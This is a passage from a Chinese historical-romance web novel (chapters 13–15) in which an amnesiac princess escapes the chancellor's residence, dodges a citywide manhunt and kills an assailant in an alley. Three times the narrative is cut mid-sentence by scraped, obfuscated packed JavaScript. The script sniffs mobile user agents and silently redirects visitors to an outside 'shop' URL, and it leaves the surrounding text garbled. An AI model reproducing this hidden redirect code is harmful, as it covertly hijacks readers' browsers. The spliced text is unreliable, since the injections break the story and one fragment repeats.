待到夜里,飞雪如撒盐,屋外灯笼在北风下摇摇晃晃。 裴淩披着风雪行至书房,他心情甚为不错。严詹紧跟在丞相身后,回忆起白天的事,也不禁话中带笑,“下官看您与公主的相处和睦不少,今日公主笑得那般开怀,想必此事之后,她便会彻底信任您了。加之段家事已了,公主今后若再现于人前,便不能再自称为段家妇,而是需要一个新身份。” “待她需要新身份时,再予她公主之尊,想必她也会自然接受了。” 裴淩边听严詹说,边用银匙拨弄着残香。 “还有半个月,便是冬至。”他淡淡道。 严詹了然,沉思道:“凡冬至日,陛下皆会大宴群臣,的确是公主露面的最佳时机……” 届时非但文武百官、皇亲国戚、番邦使臣皆在,就连一直在行宫礼佛养病的太皇太后也会出现。 就是这其中关系太过复杂,需要提早筹备的环节太多了些。 稍有不慎,就会出岔子。 裴淩回想起白日她笑盈盈同自己说话的样子,不知为何,她分明看着精神大好,话里却透出一股说不出的萧索哀切。 让他有种极不安定的、快要超出掌控的感觉。 他眉心微蹙,嗓音冷凝坚决,“不能再拖。” 这就是最好的时机。 再拖下去,只怕夜长梦多。 这件事,非但要安排得不露痕迹,还不能让她认为,是他在暗中操控。 更不容有任何纰漏。 就在他们说话时,外头忽然传来急促的脚步声,有侍卫进来通传道:“禀丞相,绿盈有急事求见。” 绿盈是南荛身边的那个小丫鬟。 裴淩蹙眉,抬袖命人放她进来。 下一刻,一道人影急急忙忙地冲了进来,一把伏跪在裴淩跟前,神色慌张。 “丞相,不好了!公主不见了!” 13.第 13 章 绿盈万万没想到,南荛会突然消失不见。 分明下午时,他们还热闹地打着雪仗,一向精神紧绷、心事重重的公主,还罕见地露出了明灿的笑容。 绿盈和狄钺都很担心她,眼见着她精神大好,才不约而同地松了口气。 他们都知道,殿下心里想着段浔。 即便她真正的夫君,是丞相。 她和丞相,是先帝指婚,天下共证。当年人人都知道她喜欢丞相,只是她自己忘记了,失忆以后又嫁了给别人。 到底哪场婚事作数? 哪个又不作数? 嫁给丞相的是华阳公主萧令璋,嫁给段浔的是孤女南荛,南荛和公主却又是同一个人,即使现在,对于外界来说,“南荛”已经死在狱中了。 可她还没有变回公主,更不记得丞相。 总不能直接跑到她跟前,直白地告诉她:你的夫君是丞相,段浔不算,反正他都死了,你现在就忘了他,安心做回锦衣玉食的公主,做这相府的女君? 那万万不可以。 狄钺和绿盈都知道严重性,死守着秘密,严长史告诉他们,只要捱过这段时日,公主就会恢复身份了。 可为什么,她突然不见了? 难道公主并没有真的开心,白日那些嬉戏,只是为了让他们安心吗? 夜里如常入歇息后,绿盈便昏昏沉沉地睡了过去,如果不是夜里水喝多了,她也不会在起夜时发现南荛的床上空空如也。 只留下了一封告别信。 绿盈吓得几欲魂飞魄散,拿起信便慌慌张张地跑出去找丞相,唯恐公主真的走丢了,此刻的声音里带了哭腔: “奴婢……奴婢也不知道为什么会睡得那么沉……这是公主留下的信……” 严詹面色凝重地走上前,把信拆开递给裴淩。 ——这封信也的确是写给裴淩的。 写字多年留下的惯性,致使她的字迹还肖似五年前,只是多了几分娟秀端庄,笔锋少了三分锐意锋芒。 “民女身份微贱,九死一生,承蒙丞相相助,实乃大幸,以此微薄之身,无力为报,只盼将来、或来世再偿还。而今亡夫事已了,请恕民女礼数不周不辞而别,万望君侯珍重。” 裴淩脸色骤寒。 白日那些当面道谢的话,果然是她在告别。 事情办完了就想离开他?若不是为了把她留下来,为了让她对他产生信任,他又何必大费周章去帮姓段的洗清冤屈? 男人薄唇紧抿,一向不露喜怒的面容上竟带了前所未有的寒意,攥着信纸的指骨不断捏紧。 “伯玉。”他冷声说:“即刻派人出去找,她的身份尚未大白于天下,恐引有心人察觉,不可高调行事。” 严詹一惊,“是、是。” 他急忙就要转身出去安排,却又被身后的声音呵住: “站住!” “诶?丞相……” 严詹一头雾水,不知他到底要如何,却见裴淩还死死盯着那信纸。 她的信中字字悲切,又透着一股决绝之意,让他不禁联想到最坏的情况。 她会不会……想不开? 固然以他对她从前的了解,她绝不是轻贱自己的性命之人。 可万一呢? 她失去了记忆,流落在外的五年,会不会早已消磨了她锐气与傲骨? 万一当年的事重演…… 裴淩狠咬牙关,指骨捏得泛白发青。 他冷静片刻,闭了闭目,才沉声说道:“一切已找她为先,即刻通知巡城都尉和城门校尉,封锁城门,严查一切出城的人和货物,就算把洛阳翻个底朝天,也要把她挖出来。”他一顿,又说:“等天亮后,再派人去搜陆府。” 严詹拱手倾身道:“下官遵命。” - 南荛连夜离开了相府。 早在看到圣旨的一刹那,她就已经决定要离开了。 她想:事情已了,她已经没有留下来的理由了,她在丞相府也不过是个外人,裴淩未必会开口赶她走,但她留在别人家中,到底还是不合适。 她该走了。 这几日裴淩对她的好,她全都看在眼里,绿盈和狄钺暗中细微的关心,她也都知道。所以白天,为了不让他们担心自己,她便同他们好好打了一场雪仗。 这座寂静偏僻的小院落,短暂地热闹轻松了一下午。 南荛以体力不支为借口,回屋歇息,实则在角落里的博山炉里偷偷加了许多安神香。 她这些日子夜里总是做噩梦,都是靠严长史送来的安神香,才睡得安稳许多。 过量的安神香足以让人快速深睡。 等到深夜,南荛用袖子掩住口鼻,用指甲掐着自己保持清醒,悄悄翻身揭开帘帐。 借着皎洁的月光,她看到绿盈已经熟睡。 南荛悄悄掀开被子,起身穿好衣裳,又悄悄从枕头底下,拿出事先准备好的书信。 放好书信,她拿起放在一侧的灯笼,悄悄点燃。 火光迸现。 她回头看了一眼熟睡中的绿盈,在心底默念着“抱歉”。 随后不再犹豫,推门出去。 屋外风雪肆虐。 南荛早已探寻过丞相府的路线,也有意无意地套过狄钺的话,知道什么时候丞相府巡逻的侍卫最少,加之他们都以为她心情好转,对她的防备会松懈。 此刻正是深夜,南荛很顺利地离开了相府,行走在空荡无人的长街上。 灯笼照亮飘摇的雪花,将她的身影照得渺小如微尘。 洛阳城的三公府靠近南宫,每座府邸皆占地极广,僚属诸曹累积在一起,堪称小朝廷,煊赫异常。 而除却三公府,便是大将军府。 南荛路过大将军府时,忍不住朝那扇紧闭的大门处看了一眼,只见门庭之上一片缟素,最上方的匾额上还写着“段”字。 这就是阿浔曾住过的家。 可惜世态炎凉,昔日门庭若市的大将军府外竟落满了凋敝枯叶,无人洒扫。 南荛难过地收回目光,继续往前走,凭着记忆中的路线,不到半个时辰就到了陆宅。 她抬手,扣了扣大门上的门环。 很快,大门就被人朝里拉开了条缝,是个守夜的年轻仆役,揉着眼睛问:“你谁啊?” 南荛说:“劳烦帮我通报陆恪陆公子,便说南荛求见。” 那仆役关上门去了。 陆恪本已就寝,听到下人禀报说南荛来了,差点连鞋都没来得及穿,急急忙忙披了件外衣就跑出卧房,来到大门口推门一看,竟然真是南荛,瞪大眼睛:“弟妹?” 南荛掩袖咳了咳,朝他点头,“陆公子。” 陆恪赶紧打开门,在门外左右看了看,确定她身后没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177243|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟别人,才连忙让她进去,转身关死大门,“这大半夜的,又这么冷,你怎的一个人来了……” 南荛平静地说:“我是从相府里偷跑出来的。” 陆恪:“嘶……” 她也胆子忒大了,丞相府卫兵那么多,她就这么简单地溜出来了??? 虽说,案子已经了结,南荛原先住在相府,是因为她身份敏感,现在离开也没什么大问题,但陆恪总觉得她现在这副轻描淡写的口吻过于淡定了。 南荛其实也不想这样偷偷行事,不辞而别太过于不合礼数,但联想到裴淩对她的好,她心里有种莫名的直觉。 ——倘若她去认真地和裴淩辞别,恐怕就走不了了。 以免夜长梦多,她就直接走了。 “我来找你,主要是因为一件事。”南荛望着陆恪,开门见山地说:“先前我击登闻鼓前,身上曾有阿浔留给我的玉佩,后来为了自证身份,那玉佩便被廷尉收走作为证物,你可有什么法子帮我取回来?” 那是她唯一的念想了。 她提及玉佩,陆恪恍然,忙说:“那东西在我这儿呢。”说完叫她在前堂等着片刻,自己转身回书房去拿了。 很快,陆恪就把那枚刻着“浔”字的玉佩递到南荛手上。 南荛蹙眉不解,“为什么在你这里?” 陆恪也觉得奇怪,其实他去廷尉狱见到南荛的第二日,此物便因“南荛被毒死于狱中”,被廷尉的人转交给了陆恪。 按理说,段浔的遗物要交也该交给遗孀,但陆恪想把此物送去相府,却被严长史挡了回来。 难道他们不想让南荛拿到段浔的遗物?为什么? 陆恪想不通,只说:“你先仔细检查一下,是不是此物?” 南荛仔细翻看起来。 这就是段浔从前随身戴着的那块玉佩,上头的编绳还是她亲手做的。 看见故人旧物,难免睹物思人,南荛的指尖轻轻摩挲着上面的“浔”字,眼睛骤然泛酸。 她低着头,湿润的睫羽浸润在灯笼的暖光里,鼻尖通红。 许久,她才抬袖擦去脸颊上的泪水,点头。 “就是它。” 陆恪见她这般模样,不禁叹息,“弟妹,你这一路也是不易,此前朝廷也有不少官员为段氏一族鸣不平,但无人敢为其发声,想不到最终为段家翻案之人竟是你。只是丞相做了此事,你不告而别,不知会不会得罪他。” 南荛不由得回忆起裴淩对待自己的模样,他外表虽冷淡矜持,内里的关心却也能琢磨出来,“也许他会生气,但应该不会因我离开就大动干戈。” 毕竟他们非亲非故…… 陆恪叹道:“但愿如此吧。弟妹,你今夜先留宿在我这里,等天亮了再说。” 南荛说:“多谢。” 陆恪又问:“你之后有什么打算?” 南荛轻轻摇头。 她不知道。 对于一个失忆的人来说,去哪里,好像都是一样的。 她只是不想留在洛阳。 阿浔生前便不喜欢这里,他说,这里尽是利益与算计、尔虞我诈,再善良温柔的人到了此处,都会变得面目全非。 “也许……回青州吧。”她想了想,认真地说:“回家,我想回家。” 虽然没有故人在的地方,也不算家了。 以后她要一个人过。 14.第 14 章 天未亮时,沉寂在黑暗里的洛阳城便有了动静。 陆恪整整一夜都未敢阖眼,时刻留意着外头的动静,理智告诉他,丞相不该那么在意南荛,但事实证明,事情并没有他想的那么简单。 巡城校尉在搜人。 南荛反应最快,“如果真是冲着我来,我现在便走。” 不然会牵连到陆恪。 即使,她想不明白,为什么她的离开值得对方这样在意? 陆恪摇头,喃喃道:“恐怕来不及了,就算你今夜不来找我,我恐怕也逃不过这一劫。” 裴丞相知道他们关系匪浅。 如果是冲着南荛而来,不管南荛在何处,陆恪这里都避不开。 陆恪深吸一口冷气,纵使他为官几载,此刻却还比不上南荛镇定。可转念一想,他与段浔少时同窗、情谊深厚,段家遭人构陷时他却做了缩头乌龟,本就有悖道义,而后南荛被迫假死进入相府,亦有他的责任。 这些年在洛阳都夹着尾巴做人,受了不少窝囊气,硬气一回又何妨? 他把心一横,咬咬牙道:“弟妹,与其等他们来我这里搜查,不如我主动些。等天一亮,我就独自驾车出城,吸引他们注意。” 南荛不料他会这样说,怔了怔,“陆公子……” 陆恪想安慰她,心里却怕得打颤,露出个比哭还难看的笑,“你就……不必担心我,届时我驾着空车出城,他们没有证据,能对我做什么?” 南荛沉默。 她无意牵连别人,但冥冥之中,好像总有一双无形的大手将她牢牢攥住,让她透不过气来,好像只要反抗一下,周身的桎梏便会猛然收拢,直到磨得她再无力气。 道谢的话已经说过了,此刻没有时间再客气推让,南荛定了定神,抬头问道:“陆公子手中可有洛阳地图?” 陆恪点头,快速拿了张图来。 洛阳城内干道颇多,呈南北东西走势,南北长,东西短,共计十二座城门,开阳门、上东门、平城门等皆是主要干道,其中上东门靠近北宫,此处多为王公大臣宅邸,至于三公府,则逼近洛水,离平城门、开阳门等都很近。 南荛记这些路线近乎过目不忘,快速听陆恪介绍了一遍,心里便有了大致想法。 待到天色微亮,城门刚开时,陆恪便驾车自谷门而出,去往邙山方向。 - 天色蒙蒙亮,寒夜残薄的月光落在盔甲上,反射出刀锋般肃杀的冷意。 搜查的士兵无声无息地游走于城内大街小巷,巡城都尉皆收到指令,派人暗中搜寻可疑人员,凡在城内行走之人,皆会严格查验。至于洛阳最北的谷门,狄钺自城门开时便已在守株待兔。 果然不消片刻,陆恪便头戴斗笠、驾着马车快速朝城外驶来。 “停车!” 狄钺远远见有马车来,抬手命人横戟阻拦。 陆恪见状,竟咬咬牙猛地一扬马鞭,俨然有硬闯之势,将守在门口的两个将士撞开,直直呼啸而去。 狄钺见状神色一冷,翻身上马追去,怒喝道:“我叫你停下!” 陆恪一介柔弱读书人,那里抵抗得过出自羽林军的武将?狄钺不肖片刻便追了上去,下手毫不客气,横枪一伸,毫不客气地用力一挑,顿时将陆恪整个人狠狠掀翻在地,随即纵身一跃,跳上马车,左手狠勒缰绳,将马车逼停。 “咳咳……”陆恪这一下摔得不轻,捂着胸口咳嗽不已,被人用刀架住脖颈。 狄钺面无表情地瞥他一眼,挥手示意人将他捆起来。 他转身,抬手揭开车帘,眼神一沉。 车内空空如也。 - 裴淩负手伫立于洛水边。 寒风刺骨,如刀割面,连日的大雪天已致使洛河之上结了薄冰,风平浪静,近乎死寂。 很快便有马蹄声快速袭来,狄钺翻身下马,猛地将马背上被五花大绑的男人狠掼下来,上前沉声道:“果然不如丞相所料,公……”他险些说漏了嘴,及时打住,改口道:“南荛去见过这个陆恪。” 这个姓陆的也着实胆大,竟敢冒险帮她。 裴淩早就料到,此刻走谷门出邙山是最蠢的办法,只可能是故意吸引注意,实则南荛不会在车内。 她会走另一条路线。 最危险的地方就是安全的地方。 ——南边。 所以他在南边守株待兔。 裴淩不疾不徐地转过身来,冰冷的目光落在陆恪疼到煞白的脸上。 “她昨夜来见过你?” 陆恪只觉得浑身骨头都要散架了,强忍着痛意点头。 “你们是如何计划的?” 陆恪直面逼问,额角发汗,咬牙道:“哪有什么计划……我不过帮她出城引开你们,免得你们那么快找到她,剩下我也没多问。” 裴淩神色冷凝,显然不信陆恪说辞。 他现在只想快些找到她,确保她安然无恙。 就在此时,耳边又传来陆恪的嘀咕声,“倒是你们,到处抓她一个弱女子干什么?我劝你们也别白费功夫,估计现在也来不及了……” 他这话一出,裴淩猛地抬眼,疾步走到他面前,冷声问:“什么意思。” 陆恪死死闭着嘴不肯说,见狄钺不耐烦地拔剑出鞘,才吓得战战兢兢开口:“还能是什么意思!我浔弟战死沙场,弟妹心心念念想着他,而今段家案已清白,最后的挂念都没了,昨日她哭着来我府上与我诀别,我也好生劝过了,奈何她心如死灰,一心只求解脱,眼下这时候,怕是早已晚了。” 他话音一落,便见眼前人脸色骤变,眸光陡寒。 就连狄钺也惊得差点没拿住剑柄,忍不住偏头看向丞相。 一心只求解脱。 这是南荛教陆恪说的话。 临别前,南荛对陆恪道:“倘若丞相当真冲我而来,只会有两种可能。要么段家案已了,但我终究还是当事人,倘若落到有心人手上、被识破身份,便会成为他的把柄,揭开他在此案中暗动手脚、欺君罔上之事,所以才这般紧张。倘若是这种情况,他得知我决意赴死,也许会就此作罢。” 南荛这一番话,不可谓不思路清晰,陆恪听得惊奇,觉得她简直不像一个不懂朝政的普通妇人。 他紧接着问道:“第二种可能呢?” “……他对我抱有别的目的。”南荛攥着裙摆的手微微发紧,她不想往这方面揣测,可这些日子,裴淩对她的关怀并不像一个施恩的上位者。 每次和他对视时,她都有种说不出的感觉。 仿佛他的温柔之下,藏着什么汹涌可怕的东西。 她垂睫道:“倘若如此,他知道我要赴死,应该会更急于找到我,可惜,这个洛阳城之中并非只有他一人,还有天子、百僚、诸多公卿贵族,有无数双眼睛盯着。” 有那么多双眼睛盯着,稍有不慎,就会引起旁人注意,甚至会被弹劾。 他会有所收敛吗? 南荛不知道。 她并不是什么特殊的人。 除非,裴丞相的权势已只手遮天到了这种地步,便是要在众目睽睽之下为了一个小角色把洛阳城给掀了,也无人敢多说一句。 眼下,陆恪便是按照南荛所说的来告知他们,也清楚地看到了,素来喜怒莫测的裴丞相,第一次露出了如此冰冷慑人的神情。 裴淩不信她会自寻短见。 可回想起她的信中字字悲切,仔细琢磨,似乎当真透着一股决绝之意。 她会不会……想不开? 固然以他对她的了解,她虽柔弱却性情坚韧,绝不是轻贱性命之人。 可万一呢? 她失去了记忆,流落在外的五年,会不会早已磋磨掉了她锐气与傲骨? 万一当年的事重演…… 裴淩伫立不动,袖中的指骨早已捏得泛白发青。 他骤然拂袖转身,冷声开口:“伯玉,你去传达我的命令,即刻封锁城门,调动执金吾及羽林军,一切已找她为先,就算把洛阳翻个底朝天,也要把她挖出来。” 严詹拱手倾身道:“下官遵命。” - 南荛本是打算往南逃出城。 但临时改了主意。 按照最简单的思路,陆恪出北门帮她吸引注意,她就该抓紧时间顺势往南逃,洛水之上有渔船货船,可走水路,隐蔽且方便,加之正常人大概想不到她胆子会这么大,还敢在丞相府附近晃悠。 但南荛觉得,裴淩没有这么笨。 上次她耍的小花招就能轻易让裴淩识破,如今这么简单的调虎离山计,他会猜不到吗? 此人心机深沉,不能以常理推之。 南荛多留了个心眼,没有第一时刻往南跑。 她换了身深色麻衣,特意在衣裳里头多塞了些棉花,让自己显得腰粗体宽些,身形与平时不同,头上再戴好幂篱,幂篱里头又多加了层面纱。 开阳门大街之上,马车、行人络绎不绝,南荛怀里揣着从陆恪给她的匕首,低头贴着角落走,明显发现周围骑马巡查的士兵多了不少。 身着丹黄,腰佩长刀,马蹄声震天。 这种装扮,是执金吾下属提绮。 南荛心惊肉跳。 固然提前有心理准备,她此刻也迷茫极了,越想越无法理解,这么大阵仗,当真是冲她来的吗? 他们到底想做什么?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197367|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 若说今日清晨,南荛还犹豫过要不要就此妥协,裴淩总归也算是她的恩人,她又何必与他闹得这般难看。 但现在情况与她所想不一样,反让她觉得事情不简单。 ——她绝不能被裴淩抓到。 虽然不知道为什么,但南荛心里越发坚定了这个想法。 她见那群士兵是朝着南边巡逻,咬咬牙,改路跑去另一方向。 上东门。 陆恪说,朝廷公卿大臣宅邸多位于上东门,譬如御史中丞、廷尉、大鸿胪等朝廷要员,今日恰逢圣上新封的博阳侯母亲寿诞,正设宴款待宾客,出入上东门附近的朝廷官员想必不少。 当今朝中,除却裴淩势大,还有太傅杨晋、当今太皇太后的母族太尉邓嗣,除此之外,博陵崔氏、荥阳郑氏等大族也各具影响,裴淩若过于不遵礼法,对他并无好处。 南荛一路急促地往前奔跑,罗裙沾染了污泥也浑然不觉。 但她低估了对方揪出她的决心。 几乎所有沿路的百姓都受到了依次盘查,南荛戴着幂篱过于惹眼,连忙将幂篱取下,又往脸上抹了一些灰尘,往人潮汹涌的地方挤,尽量让自己看起来不起眼。 但还是有官兵眼尖地发现了她,朝她这边走过来。 南荛浑身僵住。 她低着头,心脏直直往下坠。 完了。 要被抓住了。 她死死捏着袖中的匕首,掌心濡湿了汗,大脑转得飞快,在对方靠近自己的最后一刹猛地转身就跑,对方猝不及防伸手捞了个空,登时察觉到她不对劲,厉声喝道:“站住!” 南荛才不会站住。 她提着裙摆飞快地往前跑,逆着人群飞快地左弯右拐,完全不敢停下。 浑身汗毛倒竖,全身的血液一刹那涌向心脏,以致于四肢冰冷。 她从未跑得这么快过。 几乎用尽了全力。 只是南荛这些年来,身子弱,几乎不曾锻炼过。 才跑了没有多久,胸腔就像被塞满了棉花似的,喘不过来气来。 眼前一片眩晕,额角满是冷汗。 她咬牙支撑着。 不能停 “还不速速站住!”后面追的人还试图呵住她。 南荛飞速在大脑里默背着洛阳城地图,迅速绕进几个狭小的巷子里,试图甩开他们。 然而。 身后很快就传来了马蹄声。 她不可能跑得过马。 怎么办? 因奔跑而过度透支的身体让南荛险些喘不上气,她才出巷子口,便捂着胸口费劲地咳嗽起来,内心已是一片绝望。 她跑不动了。 若着实反抗不了,也只有束手就擒,任人处置的份。 南荛摇摇欲坠地站在巷子口,就在此时,她听到不远处传来呼喝声,横亘于眼前的宽阔大街人潮流动,却有群官兵推开人流,整齐划一地朝这边过来。 “荣昌公主殿下出巡!闲杂人等暂避!” 沿路道路警跸,百姓在往两边退让。 南荛抬头,目光穿透重重人群,看到一辆五马并驱、四角悬挂铜铃的华贵车驾正朝这处驶来。 车驾前后,随行仪仗护卫浩浩荡荡。 排场不可谓不威严。 荣昌公主。 五年前新帝登位,至今能让百姓记住姓名的官员都不多,但城中百姓似乎对这个公主名号并不陌生。 南荛听到身边有几个百姓在嘀咕: “怎么又是这个荣昌公主,每回出门都这么大排场。” “嘘……小点儿声,谁不知道荣昌公主是圣上胞妹,平日里铺张惯了。” “从前华阳公主比这什么荣昌公主还高调得多,平日里排场也大,也没见回回都这样……” 华阳长公主。 萧令璋。 这个名字,南荛已从狄钺口中听过很多遍了。 那是裴淩已故的发妻。 只是,南荛依然不清楚华阳公主生前为人,只知她出身尊贵、母族强大,却年纪轻轻死于一场意外。 而眼前这个荣昌公主,身为帝王胞妹,行事铺张奢侈,瞧着也甚为不好惹。 南荛心里忽然萌生一个冲动且大胆的想法。 随着荣昌公主的车驾逼近,沿途百姓皆在侍卫呼喝下俯身叩拜,不敢抬头。 最终,只剩下南荛一个人直挺挺地站在那儿。 纤瘦而挺拔的身影格外醒目。 与此同时,身后追兵将至。 眼前的侍从见她不跪,正要过来拉扯她,南荛却猛地侧身避开他的手,直直朝着公主仪仗的方向快速冲过去。 15.第 15 章 场面骤然生乱。 谁也没想到,会有人敢当街冲撞公主仪仗。 追捕南荛的人也万万是没有想到,只是追个女人而已,这巷子口一出来,竟然正对着当朝昌荣公主的车驾。 再勒缰绳已来不及。 两拨人瞬间冲到了一起。 此处人流密集,街巷每日熙熙攘攘,来往营生的百姓不在少数,公主出行,虎贲军随行开道,本就造成了街道拥堵,加之公主车驾两侧还有随行的宫人婢女,突然有人骑马冲撞队形,霎时引发一片嘈杂的动乱。 “给我站住!” “有人冲撞公主,速速拦住——” “护驾!速速保护公主!” “还不快抓人!” “你们这是在干什么!执金吾是要反了天不成!” “……” 周围乱七八糟的叫喊声不绝于耳,被吓到百姓瞬间骚乱起来,那些侍卫原本竭尽全力拦着百姓,不料又要防止有人冲撞公主,场面一混乱便难以兼顾,还被惊吓中的百姓挤得跌跌撞撞。 场面乱得出了奇。 南荛搅出了这一波浑水,趁乱混在里头乱蹿,那缇骑本全心全意抓她,未料冲撞了当朝公主仪仗,也吓得不轻,期期艾艾道:“我们奉命缉拿逃犯……” “奉谁的命?拿哪个逃犯?你家逃犯藏在公主殿下的车驾里?”护卫荣昌公主的虎贲军隶属于光禄勋,乃圣上此番亲自指派,为首的虎贲护郎此恼火得狠,猛地拔刀出鞘,破口大骂道:“睁大你们的狗眼看清楚!若是惊扰公主凤驾,回头拿你们是问!” 那缇骑也不禁来火,回嘴道:“以为谁故意的不成!执金吾奉丞相之命缉拿要犯,没工夫跟你们瞎耽搁!” 是没功夫耽搁。 但待他们定睛一瞧,哪里还有南荛的踪迹? 这乱哄哄的场面最适合浑水摸鱼,搅和得越乱,她就越好跑。 南荛觉得自己此刻疯狂又清醒,反正丞相那边在找她,一拨人是抓,两拨人也是抓,要闹就闹得大些,大不了闹得满洛阳人尽皆知,看裴淩会不会因忌惮而收手。 如此大动干戈,不管是为了段家案,还是单单只是为了她这个人,都不太值当。 南荛一边留意着周围,一边猫着腰在里头穿行。 荣昌公主仪仗内虎贲护卫约莫二三十人,绝大多数顾不上此刻抓她,只竭力阻拦着惊慌的百姓勿要冲撞凤驾,只有极个别留意着南荛,南荛混乱中不知被谁按住肩膀,只觉身子骤沉,膝盖一软,险些被对方押得跪在地上,她咬紧牙关,迅速抽出袖中匕首,反手挥去。 对方吃痛松手,南荛顾不得回头看,狼狈地往前躲蹿。 百姓人挤着人,她身量纤细灵活,后头的人眼睁睁看她溜走,不敢贸然拔刀,怕误伤无辜届时被问罪,不消片刻就看不见她踪影。 南荛胡乱在人群兜住转几圈,趁着这条街还未恢复秩序,才果断地闪身钻回巷子。 她贴着墙快速奔跑,耳边人声渐远。 似乎没有人再追她了。 南荛捂着胸口,气喘得厉害,心脏怦怦乱跳,冷汗早已濡湿了衣衫。 嗓子痛得厉害,头也昏昏沉沉,只是咬牙硬撑着。 当真是弱不禁风,她心底苦笑。从前阿浔便不许她干活,唯恐她稍微累着后病倒,她还嫌他将自己保护得太过。 如今看来,她这身子不仅一直是旁人的负累,也是自己的负累。 她只是想回家。 可为什么回家这么难? 她是不是再也回不去了?回不去和阿浔从前住那个小院了? 她混混沌沌地想着,又飞速摒弃这个自暴自弃的想法,只要她还有一口气在,都一定要回青州,谁也别想把她留在这个地方。 南荛短暂地挨着墙喘息了一会儿,待缓过气来,才艰难地支着身子往前走。 她忽然感到迷茫。 她想,走城门肯定不行,水路此刻想必更是被盯的死死的,她要么混在商贩货物里赌一把,要么今夜暂时寻一个安身之所,明日再见机行事。 只能这样了。 南荛绕过了几条深巷子,避开沿路走走停停的马车轿撵——今日博阳侯府设宴,达官贵人出行都带有不少随从,上东门既危险又安全,每一步都好像踏在刀锋上。 恰就在此时,南荛腰侧系的玉佩忽然松动,“啪”的一声摔在了地上。 她弯腰去捡,余光却不经意瞥见身后有一道虚影极快地闪过。 不对。 有人在跟踪她。 意识到这点时,南荛骤然出了一身冷汗。 是谁? 她不是已经甩脱了那些官兵吗? 跟着她的人与先前打着抓钦犯幌子的执金吾行事风格完全不同,执金吾行事直接果断,而现在尾随着她的人,鬼鬼祟祟,竟完全看不出意图。 不像是裴淩派来的人。 可除了他,还能有谁? 南荛有些拿不定主意,这到底是裴淩留的又一手,还是她又不经意惹到了什么别的人? 不管怎么样,既是跟踪,便绝不会是什么好事。 她额头满是冷汗,艰难地闭了闭双眸,把段浔的玉佩重新揣进怀里,无声无息地攥紧了袖中匕首,继续假装若无其事地往前走。 不能回头去看,不能打草惊蛇。 待到拐角处,她迅速转身,屏息躲在角落里。 ——她已经没有力气再与人追逐了,既然注定逃不掉了,倒不如主动搏一搏。 南荛攥紧袖子里匕首,从衣摆上利落地割下一块布,迅速包住了匕首的刀身。 很快,便有脚步声迫近。 听脚步声,暂时只有一个人。 南荛屏息凝神。 匕首无声抽出,冷光映照出一双漆黑的眼睛。 在那人走到拐角的瞬间,南荛攥紧手中的匕首,拼尽全身力气猛地往前一扑,手中匕首对准对方胸口,猛地一刺。 “嗤!” 匕首刺入皮肉的声音。 对方不料她早已守株待兔,被她刺个正着,顿时发出声吃痛的惨叫,但南荛无法提前预判对方的位置,匕首只刺歪到对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210154|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的右肩上。 旋即她只觉喉咙一紧,整个人被掐住脖颈,一股大力将她猛地掼到了墙上。 “唔!”她唇角溢出一声闷哼,只觉后脑勺狠狠地撞上墙壁,痛得她眼前骤黑。 脖颈间的手在快速收紧。 “小娘们儿,找死。”对方狠啐一声。 南荛艰难地仰着头,完全无法呼吸。 好疼。 她好疼。 后脑勺钝痛,颈骨仿佛在对方的力道下发出咔咔声响,南荛整个人快要悬空,只觉强烈的窒息感剥夺了她意识,四肢的力气正在飞速抽空。 牙齿咬到了舌尖,口腔里血味弥漫。 不行…… 她不能……不能这样放弃…… 南荛攥着匕首的手指努力不松开,布满血丝的双眼竭力睁大,模模糊糊看到一张陌生的、中年男人的脸。 她不认识,看穿着也不像官兵。 ……这到底是谁? 她疼到了极点,眼角不自觉分泌出泪水。 段浔曾教过她,倘若遇到歹人,在男女力量悬殊的情况下如何尽可能自卫…… 南荛挣扎反抗的幅度逐渐微弱下去,对方见她神情涣散,彻底丧失了反抗的能力,才打算身上掏出一捆麻绳。 就在对方分心刹那,南荛猛地抬膝,只听得耳边传来一声惨叫,对方捂着□□松开手,大股空气瞬间涌入胸腔,南荛张大口喘息着,咬牙抄起手边匕首,对准对方脖颈狠狠地割下去! 鲜血四溅。 大片温热的血喷溅上她的脸,也将她的眼睛映得血红。 这一刹那,南荛仿佛置身于从前,少年曾紧紧握着她的手,唇贴着她的耳畔,教她如何防身,如何杀人。 “阿荛,如果遇到危险,不要心慈手软。” 不要手软。 此前,南荛没有杀过人。 她甚至连一只鸡、一条鱼都从未动手杀过。 此刻她却双眼充血,目光冷硬,唯恐杀不死对方,攥着匕首的手指用力到骨节泛白,手背上青筋突起。 她不断地朝对方的命门刺去,直到血渐渐染红了匕首上的布条,对方无声无息面朝下栽去,彻底不动了,她才终于放开手。 ……死了吗? 南荛看着自己满手殷红,指尖仍在控制不住地打颤。 自来到洛阳后,这已经不是她第一次目睹杀人了。 